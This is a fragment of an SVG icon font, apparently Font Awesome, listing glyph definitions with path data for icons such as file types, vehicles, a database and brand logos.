<glyph unicode="&#xf1ab;" d="M654 458q-1 -3 -12.5 0.5t-31.5 11.5l-20 9q-44 20 -87 49q-7 5 -41 31.5t-38 28.5q-67 -103 -134 -181q-81 -95 -105 -110q-4 -2 -19.5 -4t-18.5 0q6 4 82 92q21 24 85.5 115t78.5 118q17 30 51 98.5t36 77.5q-8 1 -110 -33q-8 -2 -27.5 -7.5t-34.5 -9.5t-17 -5 q-2 -2 -2 -10.5t-1 -9.5q-5 -10 -31 -15q-23 -7 -47 0q-18 4 -28 21q-4 6 -5 23q6 2 24.5 5t29.5 6q58 16 105 32q100 35 102 35q10 2 43 19.5t44 21.5q9 3 21.5 8t14.5 5.5t6 -0.5q2 -12 -1 -33q0 -2 -12.5 -27t-26.5 -53.5t-17 -33.5q-25 -50 -77 -131l64 -28 q12 -6 74.5 -32t67.5 -28q4 -1 10.5 -25.5t4.5 -30.5zM449 944q3 -15 -4 -28q-12 -23 -50 -38q-30 -12 -60 -12q-26 3 -49 26q-14 15 -18 41l1 3q3 -3 19.5 -5t26.5 0t58 16q36 12 55 14q17 0 21 -17zM1147 815l63 -227l-139 42zM39 15l694 232v1032l-694 -233v-1031z M1280 332l102 -31l-181 657l-100 31l-216 -536l102 -31l45 110l211 -65zM777 1294l573 -184v380zM1088 -29l158 -13l-54 -160l-40 66q-130 -83 -276 -108q-58 -12 -91 -12h-84q-79 0 -199.5 39t-183.5 85q-8 7 -8 16q0 8 5 13.5t13 5.5q4 0 18 -7.5t30.5 -16.5t20.5 -11 q73 -37 159.5 -61.5t157.5 -24.5q95 0 167 14.5t157 50.5q15 7 30.5 15.5t34 19t28.5 16.5zM1536 1050v-1079l-774 246q-14 -6 -375 -127.5t-368 -121.5q-13 0 -18 13q0 1 -1 3v1078q3 9 4 10q5 6 20 11q106 35 149 50v384l558 -198q2 0 160.5 55t316 108.5t161.5 53.5 q20 0 20 -21v-418z" />
<glyph unicode="&#xf1ac;" horiz-adv-x="1792" d="M288 1152q66 0 113 -47t47 -113v-1088q0 -66 -47 -113t-113 -47h-128q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h128zM1664 989q58 -34 93 -93t35 -128v-768q0 -106 -75 -181t-181 -75h-864q-66 0 -113 47t-47 113v1536q0 40 28 68t68 28h672q40 0 88 -20t76 -48 l152 -152q28 -28 48 -76t20 -88v-163zM928 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 512v128q0 14 -9 23 t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128 q14 0 23 9t9 23zM1184 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 256v128q0 14 -9 23t-23 9h-128 q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1536 896v256h-160q-40 0 -68 28t-28 68v160h-640v-512h896z" />
<glyph unicode="&#xf1ad;" d="M1344 1536q26 0 45 -19t19 -45v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280zM512 1248v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 992v-64q0 -14 9 -23t23 -9h64q14 0 23 9 t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 736v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 480v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 160v64 q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64 q14 0 23 9t9 23zM384 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 -96v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9 t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM896 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 928v64 q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 160v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64 q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9 t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23z" />
<glyph unicode="&#xf1ae;" horiz-adv-x="1280" d="M1188 988l-292 -292v-824q0 -46 -33 -79t-79 -33t-79 33t-33 79v384h-64v-384q0 -46 -33 -79t-79 -33t-79 33t-33 79v824l-292 292q-28 28 -28 68t28 68t68 28t68 -28l228 -228h368l228 228q28 28 68 28t68 -28t28 -68t-28 -68zM864 1152q0 -93 -65.5 -158.5 t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
<glyph unicode="&#xf1b0;" horiz-adv-x="1664" d="M780 1064q0 -60 -19 -113.5t-63 -92.5t-105 -39q-76 0 -138 57.5t-92 135.5t-30 151q0 60 19 113.5t63 92.5t105 39q77 0 138.5 -57.5t91.5 -135t30 -151.5zM438 581q0 -80 -42 -139t-119 -59q-76 0 -141.5 55.5t-100.5 133.5t-35 152q0 80 42 139.5t119 59.5 q76 0 141.5 -55.5t100.5 -134t35 -152.5zM832 608q118 0 255 -97.5t229 -237t92 -254.5q0 -46 -17 -76.5t-48.5 -45t-64.5 -20t-76 -5.5q-68 0 -187.5 45t-182.5 45q-66 0 -192.5 -44.5t-200.5 -44.5q-183 0 -183 146q0 86 56 191.5t139.5 192.5t187.5 146t193 59zM1071 819 q-61 0 -105 39t-63 92.5t-19 113.5q0 74 30 151.5t91.5 135t138.5 57.5q61 0 105 -39t63 -92.5t19 -113.5q0 -73 -30 -151t-92 -135.5t-138 -57.5zM1503 923q77 0 119 -59.5t42 -139.5q0 -74 -35 -152t-100.5 -133.5t-141.5 -55.5q-77 0 -119 59t-42 139q0 74 35 152.5 t100.5 134t141.5 55.5z" />
<glyph unicode="&#xf1b1;" horiz-adv-x="768" d="M704 1008q0 -145 -57 -243.5t-152 -135.5l45 -821q2 -26 -16 -45t-44 -19h-192q-26 0 -44 19t-16 45l45 821q-95 37 -152 135.5t-57 243.5q0 128 42.5 249.5t117.5 200t160 78.5t160 -78.5t117.5 -200t42.5 -249.5z" />
<glyph unicode="&#xf1b2;" horiz-adv-x="1792" d="M896 -93l640 349v636l-640 -233v-752zM832 772l698 254l-698 254l-698 -254zM1664 1024v-768q0 -35 -18 -65t-49 -47l-704 -384q-28 -16 -61 -16t-61 16l-704 384q-31 17 -49 47t-18 65v768q0 40 23 73t61 47l704 256q22 8 44 8t44 -8l704 -256q38 -14 61 -47t23 -73z " />
<glyph unicode="&#xf1b3;" horiz-adv-x="2304" d="M640 -96l384 192v314l-384 -164v-342zM576 358l404 173l-404 173l-404 -173zM1664 -96l384 192v314l-384 -164v-342zM1600 358l404 173l-404 173l-404 -173zM1152 651l384 165v266l-384 -164v-267zM1088 1030l441 189l-441 189l-441 -189zM2176 512v-416q0 -36 -19 -67 t-52 -47l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-5 2 -7 4q-2 -2 -7 -4l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-33 16 -52 47t-19 67v416q0 38 21.5 70t56.5 48l434 186v400q0 38 21.5 70t56.5 48l448 192q23 10 50 10t50 -10l448 -192q35 -16 56.5 -48t21.5 -70 v-400l434 -186q36 -16 57 -48t21 -70z" />
<glyph unicode="&#xf1b4;" horiz-adv-x="2048" d="M1848 1197h-511v-124h511v124zM1596 771q-90 0 -146 -52.5t-62 -142.5h408q-18 195 -200 195zM1612 186q63 0 122 32t76 87h221q-100 -307 -427 -307q-214 0 -340.5 132t-126.5 347q0 208 130.5 345.5t336.5 137.5q138 0 240.5 -68t153 -179t50.5 -248q0 -17 -2 -47h-658 q0 -111 57.5 -171.5t166.5 -60.5zM277 236h296q205 0 205 167q0 180 -199 180h-302v-347zM277 773h281q78 0 123.5 36.5t45.5 113.5q0 144 -190 144h-260v-294zM0 1282h594q87 0 155 -14t126.5 -47.5t90 -96.5t31.5 -154q0 -181 -172 -263q114 -32 172 -115t58 -204 q0 -75 -24.5 -136.5t-66 -103.5t-98.5 -71t-121 -42t-134 -13h-611v1260z" />
<glyph unicode="&#xf1b5;" d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM499 1041h-371v-787h382q117 0 197 57.5t80 170.5q0 158 -143 200q107 52 107 164q0 57 -19.5 96.5 t-56.5 60.5t-79 29.5t-97 8.5zM477 723h-176v184h163q119 0 119 -90q0 -94 -106 -94zM486 388h-185v217h189q124 0 124 -113q0 -104 -128 -104zM1136 356q-68 0 -104 38t-36 107h411q1 10 1 30q0 132 -74.5 220.5t-203.5 88.5q-128 0 -210 -86t-82 -216q0 -135 79 -217 t213 -82q205 0 267 191h-138q-11 -34 -47.5 -54t-75.5 -20zM1126 722q113 0 124 -122h-254q4 56 39 89t91 33zM964 988h319v-77h-319v77z" />
<glyph unicode="&#xf1b6;" horiz-adv-x="1792" d="M1582 954q0 -101 -71.5 -172.5t-172.5 -71.5t-172.5 71.5t-71.5 172.5t71.5 172.5t172.5 71.5t172.5 -71.5t71.5 -172.5zM812 212q0 104 -73 177t-177 73q-27 0 -54 -6l104 -42q77 -31 109.5 -106.5t1.5 -151.5q-31 -77 -107 -109t-152 -1q-21 8 -62 24.5t-61 24.5 q32 -60 91 -96.5t130 -36.5q104 0 177 73t73 177zM1642 953q0 126 -89.5 215.5t-215.5 89.5q-127 0 -216.5 -89.5t-89.5 -215.5q0 -127 89.5 -216t216.5 -89q126 0 215.5 89t89.5 216zM1792 953q0 -189 -133.5 -322t-321.5 -133l-437 -319q-12 -129 -109 -218t-229 -89 q-121 0 -214 76t-118 192l-230 92v429l389 -157q79 48 173 48q13 0 35 -2l284 407q2 187 135.5 319t320.5 132q188 0 321.5 -133.5t133.5 -321.5z" />
<glyph unicode="&#xf1b7;" d="M1242 889q0 80 -57 136.5t-137 56.5t-136.5 -57t-56.5 -136q0 -80 56.5 -136.5t136.5 -56.5t137 56.5t57 136.5zM632 301q0 -83 -58 -140.5t-140 -57.5q-56 0 -103 29t-72 77q52 -20 98 -40q60 -24 120 1.5t85 86.5q24 60 -1.5 120t-86.5 84l-82 33q22 5 42 5 q82 0 140 -57.5t58 -140.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v153l172 -69q20 -92 93.5 -152t168.5 -60q104 0 181 70t87 173l345 252q150 0 255.5 105.5t105.5 254.5q0 150 -105.5 255.5t-255.5 105.5 q-148 0 -253 -104.5t-107 -252.5l-225 -322q-9 1 -28 1q-75 0 -137 -37l-297 119v468q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5zM1289 887q0 -100 -71 -170.5t-171 -70.5t-170.5 70.5t-70.5 170.5t70.5 171t170.5 71q101 0 171.5 -70.5t70.5 -171.5z " />
<glyph unicode="&#xf1b8;" horiz-adv-x="1792" d="M836 367l-15 -368l-2 -22l-420 29q-36 3 -67 31.5t-47 65.5q-11 27 -14.5 55t4 65t12 55t21.5 64t19 53q78 -12 509 -28zM449 953l180 -379l-147 92q-63 -72 -111.5 -144.5t-72.5 -125t-39.5 -94.5t-18.5 -63l-4 -21l-190 357q-17 26 -18 56t6 47l8 18q35 63 114 188 l-140 86zM1680 436l-188 -359q-12 -29 -36.5 -46.5t-43.5 -20.5l-18 -4q-71 -7 -219 -12l8 -164l-230 367l211 362l7 -173q170 -16 283 -5t170 33zM895 1360q-47 -63 -265 -435l-317 187l-19 12l225 356q20 31 60 45t80 10q24 -2 48.5 -12t42 -21t41.5 -33t36 -34.5 t36 -39.5t32 -35zM1550 1053l212 -363q18 -37 12.5 -76t-27.5 -74q-13 -20 -33 -37t-38 -28t-48.5 -22t-47 -16t-51.5 -14t-46 -12q-34 72 -265 436l313 195zM1407 1279l142 83l-220 -373l-419 20l151 86q-34 89 -75 166t-75.5 123.5t-64.5 80t-47 46.5l-17 13l405 -1 q31 3 58 -10.5t39 -28.5l11 -15q39 -61 112 -190z" />
<glyph unicode="&#xf1b9;" horiz-adv-x="2048" d="M480 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM516 768h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5zM1888 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM2048 544v-384 q0 -14 -9 -23t-23 -9h-96v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-1024v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5t179 63.5h768q98 0 179 -63.5t104 -157.5 l105 -419h28q93 0 158.5 -65.5t65.5 -158.5z" />
<glyph unicode="&#xf1ba;" horiz-adv-x="2048" d="M1824 640q93 0 158.5 -65.5t65.5 -158.5v-384q0 -14 -9 -23t-23 -9h-96v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-1024v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5 t179 63.5h128v224q0 14 9 23t23 9h448q14 0 23 -9t9 -23v-224h128q98 0 179 -63.5t104 -157.5l105 -419h28zM320 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM516 640h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5z M1728 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47z" />
<glyph unicode="&#xf1bb;" d="M1504 64q0 -26 -19 -45t-45 -19h-462q1 -17 6 -87.5t5 -108.5q0 -25 -18 -42.5t-43 -17.5h-320q-25 0 -43 17.5t-18 42.5q0 38 5 108.5t6 87.5h-462q-26 0 -45 19t-19 45t19 45l402 403h-229q-26 0 -45 19t-19 45t19 45l402 403h-197q-26 0 -45 19t-19 45t19 45l384 384 q19 19 45 19t45 -19l384 -384q19 -19 19 -45t-19 -45t-45 -19h-197l402 -403q19 -19 19 -45t-19 -45t-45 -19h-229l402 -403q19 -19 19 -45z" />
<glyph unicode="&#xf1bc;" d="M1127 326q0 32 -30 51q-193 115 -447 115q-133 0 -287 -34q-42 -9 -42 -52q0 -20 13.5 -34.5t35.5 -14.5q5 0 37 8q132 27 243 27q226 0 397 -103q19 -11 33 -11q19 0 33 13.5t14 34.5zM1223 541q0 40 -35 61q-237 141 -548 141q-153 0 -303 -42q-48 -13 -48 -64 q0 -25 17.5 -42.5t42.5 -17.5q7 0 37 8q122 33 251 33q279 0 488 -124q24 -13 38 -13q25 0 42.5 17.5t17.5 42.5zM1331 789q0 47 -40 70q-126 73 -293 110.5t-343 37.5q-204 0 -364 -47q-23 -7 -38.5 -25.5t-15.5 -48.5q0 -31 20.5 -52t51.5 -21q11 0 40 8q133 37 307 37 q159 0 309.5 -34t253.5 -95q21 -12 40 -12q29 0 50.5 20.5t21.5 51.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf1bd;" horiz-adv-x="1024" d="M1024 1233l-303 -582l24 -31h279v-415h-507l-44 -30l-142 -273l-30 -30h-301v303l303 583l-24 30h-279v415h507l44 30l142 273l30 30h301v-303z" />
<glyph unicode="&#xf1be;" horiz-adv-x="2304" d="M784 164l16 241l-16 523q-1 10 -7.5 17t-16.5 7q-9 0 -16 -7t-7 -17l-14 -523l14 -241q1 -10 7.5 -16.5t15.5 -6.5q22 0 24 23zM1080 193l11 211l-12 586q0 16 -13 24q-8 5 -16 5t-16 -5q-13 -8 -13 -24l-1 -6l-10 -579q0 -1 11 -236v-1q0 -10 6 -17q9 -11 23 -11 q11 0 20 9q9 7 9 20zM35 533l20 -128l-20 -126q-2 -9 -9 -9t-9 9l-17 126l17 128q2 9 9 9t9 -9zM121 612l26 -207l-26 -203q-2 -9 -10 -9q-9 0 -9 10l-23 202l23 207q0 9 9 9q8 0 10 -9zM401 159zM213 650l25 -245l-25 -237q0 -11 -11 -11q-10 0 -12 11l-21 237l21 245 q2 12 12 12q11 0 11 -12zM307 657l23 -252l-23 -244q-2 -13 -14 -13q-13 0 -13 13l-21 244l21 252q0 13 13 13q12 0 14 -13zM401 639l21 -234l-21 -246q-2 -16 -16 -16q-6 0 -10.5 4.5t-4.5 11.5l-20 246l20 234q0 6 4.5 10.5t10.5 4.5q14 0 16 -15zM784 164zM495 785 l21 -380l-21 -246q0 -7 -5 -12.5t-12 -5.5q-16 0 -18 18l-18 246l18 380q2 18 18 18q7 0 12 -5.5t5 -12.5zM589 871l19 -468l-19 -244q0 -8 -5.5 -13.5t-13.5 -5.5q-18 0 -20 19l-16 244l16 468q2 19 20 19q8 0 13.5 -5.5t5.5 -13.5zM687 911l18 -506l-18 -242 q-2 -21 -22 -21q-19 0 -21 21l-16 242l16 506q0 9 6.5 15.5t14.5 6.5q9 0 15 -6.5t7 -15.5zM1079 169v0v0zM881 915l15 -510l-15 -239q0 -10 -7.5 -17.5t-17.5 -7.5t-17 7t-8 18l-14 239l14 510q0 11 7.5 18t17.5 7t17.5 -7t7.5 -18zM980 896l14 -492l-14 -236q0 -11 -8 -19 t-19 -8t-19 8t-9 19l-12 236l12 492q1 12 9 20t19 8t18.5 -8t8.5 -20zM1192 404l-14 -231v0q0 -13 -9 -22t-22 -9t-22 9t-10 22l-6 114l-6 117l12 636v3q2 15 12 24q9 7 20 7q8 0 15 -5q14 -8 16 -26zM2304 423q0 -117 -83 -199.5t-200 -82.5h-786q-13 2 -22 11t-9 22v899 q0 23 28 33q85 34 181 34q195 0 338 -131.5t160 -323.5q53 22 110 22q117 0 200 -83t83 -201z" />
<glyph unicode="&#xf1c0;" d="M768 768q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 0q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127 t443 -43zM768 384q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 1536q208 0 385 -34.5t280 -93.5t103 -128v-128q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5 t-103 128v128q0 69 103 128t280 93.5t385 34.5z" />
<glyph unicode="&#xf1c1;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M894 465q33 -26 84 -56q59 7 117 7q147 0 177 -49q16 -22 2 -52q0 -1 -1 -2l-2 -2v-1q-6 -38 -71 -38q-48 0 -115 20t-130 53q-221 -24 -392 -83q-153 -262 -242 -262q-15 0 -28 7l-24 12q-1 1 -6 5q-10 10 -6 36q9 40 56 91.5t132 96.5q14 9 23 -6q2 -2 2 -4q52 85 107 197 q68 136 104 262q-24 82 -30.5 159.5t6.5 127.5q11 40 42 40h21h1q23 0 35 -15q18 -21 9 -68q-2 -6 -4 -8q1 -3 1 -8v-30q-2 -123 -14 -192q55 -164 146 -238zM318 54q52 24 137 158q-51 -40 -87.5 -84t-49.5 -74zM716 974q-15 -42 -2 -132q1 7 7 44q0 3 7 43q1 4 4 8 q-1 1 -1 2t-0.5 1.5t-0.5 1.5q-1 22 -13 36q0 -1 -1 -2v-2zM592 313q135 54 284 81q-2 1 -13 9.5t-16 13.5q-76 67 -127 176q-27 -86 -83 -197q-30 -56 -45 -83zM1238 329q-24 24 -140 24q76 -28 124 -28q14 0 18 1q0 1 -2 3z" />
<glyph unicode="&#xf1c2;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M233 768v-107h70l164 -661h159l128 485q7 20 10 46q2 16 2 24h4l3 -24q1 -3 3.5 -20t5.5 -26l128 -485h159l164 661h70v107h-300v-107h90l-99 -438q-5 -20 -7 -46l-2 -21h-4l-3 21q-1 5 -4 21t-5 25l-144 545h-114l-144 -545q-2 -9 -4.5 -24.5t-3.5 -21.5l-4 -21h-4l-2 21 q-2 26 -7 46l-99 438h90v107h-300z" />
<glyph unicode="&#xf1c3;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M429 106v-106h281v106h-75l103 161q5 7 10 16.5t7.5 13.5t3.5 4h2q1 -4 5 -10q2 -4 4.5 -7.5t6 -8t6.5 -8.5l107 -161h-76v-106h291v106h-68l-192 273l195 282h67v107h-279v-107h74l-103 -159q-4 -7 -10 -16.5t-9 -13.5l-2 -3h-2q-1 4 -5 10q-6 11 -17 23l-106 159h76v107 h-290v-107h68l189 -272l-194 -283h-68z" />
<glyph unicode="&#xf1c4;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M416 106v-106h327v106h-93v167h137q76 0 118 15q67 23 106.5 87t39.5 146q0 81 -37 141t-100 87q-48 19 -130 19h-368v-107h92v-555h-92zM769 386h-119v268h120q52 0 83 -18q56 -33 56 -115q0 -89 -62 -120q-31 -15 -78 -15z" />
<glyph unicode="&#xf1c5;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M1280 320v-320h-1024v192l192 192l128 -128l384 384zM448 512q-80 0 -136 56t-56 136t56 136t136 56t136 -56t56 -136t-56 -136t-136 -56z" />
<glyph unicode="&#xf1c6;" d="M640 1152v128h-128v-128h128zM768 1024v128h-128v-128h128zM640 896v128h-128v-128h128zM768 768v128h-128v-128h128zM1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400 v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-128v-128h-128v128h-512v-1536h1280zM781 593l107 -349q8 -27 8 -52q0 -83 -72.5 -137.5t-183.5 -54.5t-183.5 54.5t-72.5 137.5q0 25 8 52q21 63 120 396v128h128v-128h79 q22 0 39 -13t23 -34zM640 128q53 0 90.5 19t37.5 45t-37.5 45t-90.5 19t-90.5 -19t-37.5 -45t37.5 -45t90.5 -19z" />
<glyph unicode="&#xf1c7;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M620 686q20 -8 20 -30v-544q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-166 167h-131q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h131l166 167q16 15 35 7zM1037 -3q31 0 50 24q129 159 129 363t-129 363q-16 21 -43 24t-47 -14q-21 -17 -23.5 -43.5t14.5 -47.5 q100 -123 100 -282t-100 -282q-17 -21 -14.5 -47.5t23.5 -42.5q18 -15 40 -15zM826 145q27 0 47 20q87 93 87 219t-87 219q-18 19 -45 20t-46 -17t-20 -44.5t18 -46.5q52 -57 52 -131t-52 -131q-19 -20 -18 -46.5t20 -44.5q20 -17 44 -17z" />
<glyph unicode="&#xf1c8;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M768 768q52 0 90 -38t38 -90v-384q0 -52 -38 -90t-90 -38h-384q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h384zM1260 766q20 -8 20 -30v-576q0 -22 -20 -30q-8 -2 -12 -2q-14 0 -23 9l-265 266v90l265 266q9 9 23 9q4 0 12 -2z" />
<glyph unicode="&#xf1c9;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M480 768q8 11 21 12.5t24 -6.5l51 -38q11 -8 12.5 -21t-6.5 -24l-182 -243l182 -243q8 -11 6.5 -24t-12.5 -21l-51 -38q-11 -8 -24 -6.5t-21 12.5l-226 301q-14 19 0 38zM1282 467q14 -19 0 -38l-226 -301q-8 -11 -21 -12.5t-24 6.5l-51 38q-11 8 -12.5 21t6.5 24l182 243 l-182 243q-8 11 -6.5 24t12.5 21l51 38q11 8 24 6.5t21 -12.5zM662 6q-13 2 -20.5 13t-5.5 24l138 831q2 13 13 20.5t24 5.5l63 -10q13 -2 20.5 -13t5.5 -24l-138 -831q-2 -13 -13 -20.5t-24 -5.5z" />
